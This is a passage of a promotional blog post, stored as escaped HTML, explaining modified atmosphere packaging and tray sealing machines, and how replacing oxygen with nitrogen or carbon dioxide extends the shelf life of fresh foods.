MAP technology like that in a <strong>tray sealing machine<\/strong> is gaining more and more popularity as a method of preserving freshness and lengthening the shelf life of fresh foods \u2013 fruits, vegetables, meat, dairy products and more. It is a notable method of preventing spoilage and extending the shelf life of various food products.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>So what is MAP technology?<\/strong><\/h2>\n\n\n\n<p>Atmospheric air is a combination of\n3 elements \u2013 N2 (79%), O2 (20.96%), CO2 (0.04%) and traces of inert gases and\nvapour.<\/p>\n\n\n\n<p><strong>MAP packaging<\/strong>, sometimes known as <strong>controlled atmosphere packaging<\/strong>,\nis the method of modifying the makeup of the internal atmosphere of a package\nusing a <strong>modified atmosphere packaging machine<\/strong> \u2013 usually food packages\nand medicines \u2013 in order to improve the shelf life of the packed products.<\/p>\n\n\n\n<p>This technology was developed to\ndeal with the short shelf life of certain food products such as meat, fish,\npoultry and dairy in the presence of oxygen. The presence of oxygen in the packaging\nleads to the lipid oxidation of the food product. Oxygen contributes to the\nshortened shelf life of fresh produce because it leads to high respiration\nrates. Even microbiologically, Oxygen catalyses the growth of aerobic spoilage\nmicroorganisms.<\/p>\n\n\n\n<p>It is plainly obvious that a\nreduction in oxygen and its replacement with more suitable gases can deter or\nreduce oxidation reactions and microbiological spoilage.<\/p>\n\n\n\n<p><strong>MAP food packaging<\/strong> using a <a href=\"https:\/\/www.nichrome.com\/machines\/modified-atmosphere-map-tray-sealing-packaging-machine\/map-food-tray-sealing-machine-manufacturer-in-india.php\"><strong>MAP tray sealer<\/strong> <\/a>generally\ninvolves the lowering of the amount of oxygen in the headspace within the\npackage. Nitrogen \u2013 a comparatively inert gas \u2013 or carbon dioxide can be used\nto replace oxygen.<\/p>\n\n\n\n<p>The use of active techniques such as\ngas flushing and compensated vacuum, or passive ones like designing \u2018breathable\nfilms\u2019 can be used to achieve a stable atmosphere of gases inside the\npackaging.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>The different components
